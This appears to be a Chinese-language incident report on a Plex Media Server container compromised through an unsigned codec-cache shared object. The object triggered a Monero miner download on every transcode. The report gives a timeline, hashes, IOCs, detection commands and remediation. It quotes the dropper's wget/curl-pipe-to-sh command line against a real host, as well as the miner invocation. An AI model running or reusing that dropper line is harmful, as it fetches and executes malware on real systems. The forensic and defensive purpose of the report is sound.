.so 在每次转码时执行 Monero 挖矿程序事件日期: 2026-10-17 → 2026-10-18(UTC+02:00)
漏洞: CVE-2026-96656(CVSS 4.0:8.6,由 CISA 分配)— 已在 Plex Media Server 1.43.3.10861 中修复
受影响版本: Plex Media Server 1.43.2.10687(Linux,官方 linuxserver/plex 容器)
状态: 已控制;无需重建主机(除编解码器缓存外,磁盘上无持久化痕迹)
一名能够访问 Plex 服务器的攻击者将一个名为
zz45fbb275.so 的未签名共享对象放入应用程序的编解码器目录——该目录由 Plex
自行填充,并通过 FFMPEG_EXTERNAL_LIBS 传递给每个转码器。该对象不导出任何符号,
也未声明任何依赖;其全部载荷就是一个 .init_array 构造函数,因此转码器一执行
dlopen() 加载它,它便立即运行。
因此,每一次转码——无论是客户端点击播放,还是媒体库的缩略图/分析任务—— 都会重新运行:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
它下载了一个源自 xmrig 的 RandomX 挖矿程序(x12345),并以 --rig-id plexdocker 参数针对 ota.proxystream.st:3333 启动。没有 cron 任务、没有 systemd 单元、没有修改 rc 文件,也没有被篡改的二进制文件:编解码器缓存本身就是持久化机制。 仅杀死挖矿进程,主机会在下一次播放时再次被感染。
| 时间 | 事件 |
|---|---|
| 10 月 17 日 07:50 | 来自 45.194.92.222 的首次 WAN 会话;请求以 guest 身份认证,随后注册一个 Companion 播放器并驱动 /player/* 和 agent 端点 |
| 10 月 17 日 17:20 | zz45fbb275.so 在 …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ 中被创建(目录 mtime 发生变化;没有出现其他文件) |
| 10 月 17 日 17:23 | 写入 /tmp/x12345(8,350,992 字节) |
| 10 月 17 日 17:40 | 挖矿程序运行中:./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker,CPU 占用约 127% |
| 10 月 18 日 10:48 | 后续转码触发了第二条投放链——载荷按需重新运行 |
| 10 月 18 日 11:14 | 检测:发现挖矿进程,其 PPid 指向容器的 PID 1 |
| 10 月 18 日 11:20–11:35 | 遏制:移除 .so,将 Plex 更新至 1.43.4,丢弃对 32400 的 WAN 访问 |
该服务器可从互联网访问(Plex 自带的 UPnP 端口映射)。Plex 日志显示源地址 45.194.92.222 以 guest 身份认证,并在 .so 出现的同一分钟发起 agent 调用;另一个地址 91.92.40.202 也以 guest 认证出现。
CVE-2026-96656 的公开描述与该产物完全吻合:
1.43.3.10861 之前的 Plex Media Server 允许管理员用户写入任意文件,这些文件可能在加载时被执行。偏好设置
TranscoderH264Options会在每次转码时被逐字追加到 x264 的选项字符串中。启动时,所有 .so 文件都会在无签名、无执行位、无符号检查的情况下运行。
有两点后果值得明确说明:
PR:H)。上述以 guest 认证的请求本身并不能解释文件写入,因此无论请求是如何发起的,服务器的 admin 令牌都必须被视为已泄露。.so 文件不会进行执行位、签名或符号检查,这就是为什么一个仅含单个构造函数的空操作库就是一个完整的载荷。我们并未捕获写入该文件的具体请求——投放的证据来自文件系统时间戳和执行链,而非数据包捕获。受影响主机上的 TranscoderH264Options 偏好设置在事后被发现为空,因此用于写入该文件的值要么被重置,要么被覆盖;这是我们在事后无法重建的链条中唯一缺失的一环。
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
由于构造函数在加载时运行,该对象无需实现任何编解码器 API。它只需位于转码器加载库的目录中即可。
值得检测的放置细节:
lib*.so;编解码器目录中的每个合法文件都是如此命名的(libh264_decoder.so、libhevc_decoder.so……)。zz 很可能是为了排在最后而选择的。Codecs/<set-id>-linux-x86_64/)通常只由 Plex 自己的编解码器下载写入,其文件都带有 lib 前缀。EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder 是该目录树中唯一其他不属于 lib 的对象。filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker 是一个固定的操作员标签——可用于在流量数据和池遥测中进行关联搜索。该进程被发现处于 T(已停止)状态,占用约 2.3 GB RSS:已停止并非无害,它会恢复并继续哈希计算。
PPid 指向容器的 PID 1(s6-svscan),因为真正的父进程已经退出——这是重新挂靠,而非监督。实际的启动器只能通过共享的 socketpair 看到:ss -xp 列出了 sh/wget 链、Plex Transcoder、调谐器服务和 Plex 服务器位于同一对 socket 上,而遍历活动 Plex Transcoder 的子进程显示投放器是其子进程。触发因素正是转码本身。
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
任何不是 EasyAudioEncoder 的命中都是可疑的。同时还要标记出修改时间发生变化、但没有相应新增 lib*.so 的编解码器目录。
检查 CVE-2026-96656 滥用于任意文件写入的那个偏好设置:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
非空值值得一读——它会在每次转码时被原样追加到 x264 的选项字符串中,其中任何形似文件名的内容最终都会被写入磁盘。在事发后,此处的宿主机上该值为空,因此“不存在”并不能证明真的不存在:需结合文件的 mtime 进行关联分析。
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f 使用裸模式会杀死运行它的 shell(该模式是该 shell 命令行的一部分)——请使用带括号的形式或按 PID 终止。
查找来自 WAN 地址的访客身份验证,随后是 agent/companion 活动,并且同一分钟内 codec 目录中出现新文件:
Auth: authenticating user as guest
Request: [<wan-ip>:<port> (WAN)] GET /identity
Request: [<wan-ip>:<port> (WAN)] GET /player/proxy/poll …
Request: [127.0.0.1:<port> (Loopback)] POST /system/agents/z/searchOne …
yara/plex_codec_implant.yar — 三条规则:仅含构造函数的 dropper 对象、此处使用的
xmrig 构建,以及一条通用的重命名 xmrig 规则。全部基于字符串/ELF;运行它们
无需样本。
.so —— 在加载器仍存在时杀掉挖矿进程只会让它重新被激活。sh/wget/挖矿进程链(使用字面 IP 的 pkill -f 会
匹配到你自己的 shell —— 请使用字符类,例如 217[.]60[.]194)。Docker is used for versioning skip update check);必须拉取镜像并重新创建
容器。OUTPUT 和 DOCKER-USER 上阻断 dropper 主机和矿池(转发的容器流量
永远不会经过 OUTPUT),并使用 netfilter-persistent save 持久化。lib 的 .so 文件。| 类型 | 值 | 上下文 |
|---|---|---|
| sha256 | a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f | Plex codec 缓存植入物(1,036,800 B) |
| sha256 | b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 | x12345,xmrig/RandomX(8,350,992 B) |
| url | http://217.60.194.116/docker | 由植入物获取的 dropper;同一主机曾提供 /plex、/x 和 /lmaoi686 —— 将其上的任何路径都视为 dropper |
| ip | 217.60.194.116 | dropper 主机 —— AS213900 RS Computers L.L.C(AE) |
| domain | ota.proxystream.st → 77.90.185.205 | 矿池,tcp/3333 |
| ip | 77.90.185.205 | 矿池 —— AS213790 Limited Network LTD(GB) |
| ip | 45.194.92.222 | 会话来源 —— AS215925 VPSVAULT.HOST LTD(GB) |
| ip | 91.92.40.202 | 会话来源 —— AS197170 TechTies Inc.(SC) |
| path | …/Codecs/<set-id>-linux-x86_64/zz*.so | 投放位置 |
| path | /tmp/x12345、/tmp/sh.lock | 挖矿程序 + 单实例锁 |
| arg | --rig-id plexdocker、--donate-level 5 | 操作者标签 |
机器可读:iocs.csv、stix-bundle.json。
ld.so.preload、没有 authorized_keys 更改、没有 shell rc 编辑。TranscoderH264Options 偏好设置实现任意文件写入,以及从 codec 目录树中
未经检查地加载 .so